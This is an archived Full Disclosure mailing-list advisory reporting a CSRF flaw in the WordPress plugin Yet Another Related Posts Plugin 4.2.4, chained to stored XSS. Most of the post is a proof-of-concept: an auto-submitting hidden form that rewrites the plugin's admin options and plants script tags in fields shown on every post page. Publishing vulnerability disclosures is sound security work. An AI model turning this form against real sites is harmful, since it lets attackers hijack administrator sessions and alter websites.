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By Date By Thread Yet Another Related Posts Plugin (YARPP) 4.2.4 CSRF -> XSS -> RCE From: Evex ola <evexola () gmail com>

Date: Fri, 8 May 2015 16:27:59 +0300

'Yet Another Related Posts Plugin' options can be updated with no token/nonce protection which an attacker may exploit via tricking website's administrator to enter a malformed page which will change YARPP options, and since some options allow html the attacker is able to inject malformed javascript code which can lead to code execution/administrator actions when the injected code is triggered by an admin user. injected javascript code is triggered on any post page. Affected Versions <= 4.2.4 Vulnerability Scope XSS RCE (http://research.evex.pw/?vuln=14) Authorization Required: None Proof of Concept: <body onload="document.getElementById('payload_form').submit()" > <form id="payload_form" action=" http://wpsite.com/wp-admin/options-general.php?page=yarpp" method="POST" > <input type='hidden' name='recent_number' value='12' > <input type='hidden' name='recent_units' value='month' > <input type='hidden' name='threshold' value='5' > <input type='hidden' name='weight[title]' value='no' > <input type='hidden' name='weight[body]' value='no' > <input type='hidden' name='tax[category]' value='no' > <input type='hidden' name='tax[post_tag]' value='consider' > <input type='hidden' name='auto_display_post_types[post]' value='on' > <input type='hidden' name='auto_display_post_types[page]' value='on' > <input type='hidden' name='auto_display_post_types[attachment]' value='on' > <input type='hidden' name='auto_display_archive' value='true' > <input type='hidden' name='limit' value='1' > <input type='hidden' name='use_template' value='builtin' > <input type='hidden' name='thumbnails_heading' value='Related posts:' > <input type='hidden' name='no_results' value='<script>alert(1);</script>' > <input type='hidden' name='before_related' value='<script>alert(1);</script><li>' > <input type='hidden' name='after_related' value='</li>' > <input type='hidden' name='before_title' value='<script>alert(1);</script><li>' > <input type='hidden' name='after_title' value='</li>' > <input type='hidden' name='show_excerpt' value='true' > <input type='hidden' name='excerpt_length' value='10' > <input type='hidden' name='before_post' value='+<small>' > <input type='hidden' name='after_post' value='</small>' > <input type='hidden' name='order' value='post_date ASC' > <input type='hidden' name='promote_yarpp' value='true' > <input type='hidden' name='rss_display' value='true' > <input type='hidden' name='rss_limit' value='1' > <input type='hidden' name='rss_use_template' value='builtin' > <input type='hidden' name='rss_thumbnails_heading' value='Related posts:' > <input type='hidden' name='rss_no_results' value='No Results' > <input type='hidden' name='rss_before_related' value='<li>' > <input type='hidden' name='rss_after_related' value='</li>' > <input type='hidden' name='rss_before_title' value='<li>' > <input type='hidden' name='rss_after_title' value='</li>' > <input type='hidden' name='rss_show_excerpt' value='true' > <input type='hidden' name='rss_excerpt_length' value='10' > <input type='hidden' name='rss_before_post' value='+<small>' > <input type='hidden' name='rss_after_post' value='</small>' > <input type='hidden' name='rss_order' value='score DESC' > <input type='hidden' name='rss_promote_yarpp' value='true' > <input type='hidden' name='update_yarpp' value='Save Changes' > </form> </body> Fix: No Fix Available at The Moment. Timeline: Notified Vendor - No Reply Notified Vendor Again- No Reply Publish Disclosure _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ By Date By Thread Current thread: Yet Another Related Posts Plugin (YARPP) 4.2.4 CSRF -> XSS -> RCE Evex ola (May 08)